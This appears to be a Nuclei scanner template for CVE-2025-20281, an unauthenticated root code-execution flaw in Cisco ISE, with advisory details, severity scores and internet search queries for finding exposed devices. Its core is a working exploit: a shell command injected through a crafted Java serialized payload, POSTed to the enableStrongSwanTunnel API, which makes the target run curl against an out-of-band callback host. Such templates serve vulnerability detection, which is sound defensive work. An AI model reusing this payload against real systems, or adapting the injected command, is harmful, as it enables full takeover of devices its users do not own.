id: CVE-2025-20281 info: name: Cisco ISE - Remote Code Execution author: daffainfo severity: critical description: | A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device. impact: | Unauthenticated remote attackers can execute arbitrary code as root, leading to full system compromise. remediation: | Update to the latest available version. reference: - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6 - https://www.zerodayinitiative.com/blog/2025/7/24/cve-2025-20281-cisco-ise-api-unauthenticated-remote-code-execution-vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2025-20281 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2025-20281 epss-score: 0.96732 epss-percentile: 0.9988 cwe-id: CWE-287 cpe: cpe:2.3:a:cisco:identity_services_engine:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: cisco product: identity_services_engine shodan-query: '"Set-Cookie: APPSESSIONID=" "Path=/admin"' fofa-query: title="identity services engine" google-query: intitle:"identity services engine" tags: cve,cve2025,cisco,cisco-ise,rce,kev,vkev,oast,oob,vuln variables: cmd: 'x;curl${IFS}http://{{interactsh-url}}' serialized_str: '{{concat(hex_decode("aced0005757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000027400"), hex_decode(dec_to_hex(len(cmd))), cmd, hex_decode("740000"))}}' http: - raw: - | POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1 Host: {{Hostname}} {{serialized_str}} matchers: - type: dsl dsl: - "contains(interactsh_protocol,'http')" - 'status_code == 200' - 'len(body)==2' condition: and # digest: 490a004630440220397c9fac8e5e96b48edab9c9170d5cd2be99506c7ed077102c40198107aab198022003675c0dadc0d53000bb0bf6b15f6044dad07464c6ef3656f087d67f915274c4:922c64590222798bb761d5b6d8e72950